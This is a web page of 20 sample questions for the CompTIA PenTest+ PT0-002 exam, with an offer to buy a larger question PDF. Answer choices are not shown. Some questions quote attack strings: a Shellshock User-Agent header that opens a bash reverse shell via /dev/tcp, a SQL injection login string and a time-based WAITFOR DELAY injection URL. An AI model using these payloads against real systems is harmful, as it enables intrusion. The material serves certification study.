CompTIA PenTest+ Certification Exam (PT0-002) is a professional-level CompTIA certification exam. The blueprint splits the exam across 5 domains, starting with Planning and Scoping, Information Gathering and Vulnerability Scanning, Attacks and Exploits. On exam day you face around 85 questions in 165 minutes, in formats such as multiple-choice and performance-based. The 20 questions below are free samples written to match that style: answer each one first, then reveal the correct answer and note which topics you miss. The PT0-002 is rated advanced in difficulty, and most candidates prepare with at least 36 months of hands-on experience. Because every answer is revealed in place, you can work through the whole set without leaving this page. Work through all 20 samples before deciding whether to buy the full 375+ question PDF.
Looking for more? Click here to get the full PDF with 375+ practice questions for $10 for offline study and deeper preparation.
Which of the following components should a penetration tester most likely include in a report at the end of an assessment?
A penetration tester wants to find hidden information in documents available on the web at a particular domain. Which of the following should the penetration tester use?
A penetration tester is testing a company's public APIs. In researching the API URLs, the penetration tester discovers that the URLs resolve to a cloud-hosted WAF service that is blocking the penetration tester's attack attempts. Which of the following should the tester do to best ensure the attacks will be more successful?
During a web application test, a penetration tester was able to navigate to https://company.com and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?
A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?
A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?
A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`} Which of the following edits should the tester make to the script to determine the user context in which the server is being run?
During an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?
A penetration tester is testing an Android application. Which of the following specialized tools would be best to use during the test?
A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server: x’ OR role LIKE '%admin% Which of the following should be recommended to remediate this vulnerability?
A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?
A penetration tester wants to accomplish ARP poisoning as part of an attack. Which of the following tools will the tester MOST likely utilize?
A penetration tester discovered a new exploit and would like to create a Metasploit module. Which of the following programming languages would be best for the penetration tester to use?
In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would best enable the tester to perform phishing in a later stage of the assessment?
Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)
A penetration tester is testing a client's infrastructure and discovers an API that provides information about the infrastructure that can be used to configure or manage the instances. The penetration tester uses this API to obtain temporary credentials used to access the infrastructure. Which of the following types of attacks did the penetration tester use?
While performing the scanning phase of a penetration test, the penetration tester runs the following command: nmap -n -vv -sV -p- 10.10.10.23-28 After the Nmap scan is finished, the penetration tester notices all hosts seem to be down. Which of the following options should the penetration tester try NEXT?
A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog: http://company.com/catalog.asp?productid=22 The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes: http://company.com/catalog.asp?productid=22;WAITFOR DELAY'00:00:05' Which of the following should the penetration tester attempt NEXT?
A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings. Which of the following is most important for the penetration tester to define FIRST?
Based on the information in a report from a web application scanner, a website is susceptible to clickjacking. Which of the following techniques would be best to use to prove this exploit?
No. They are original practice questions written to match the format and topic mix of the CompTIA PenTest+ Certification Exam exam, which contains around 85 questions. Treat them as representative practice, not leaked exam content.
This page includes 20 questions, each with its correct answer you can reveal in place. The full study PDF expands that to 375+ questions.
Yes. Open the answer panel under each question to see which option is correct. Answer first, then reveal, so the set works as a self-check rather than a reading exercise.
Not on its own. Use the samples to find weak topics, revise them against the official domains, then work through the full 375+ question set under timed conditions before booking the exam.
Download the complete PT0-002 study bundle with 375+ questions in a single printable PDF.
Start typing to search exams
Access practice tests for AWS, Microsoft, Cisco and more.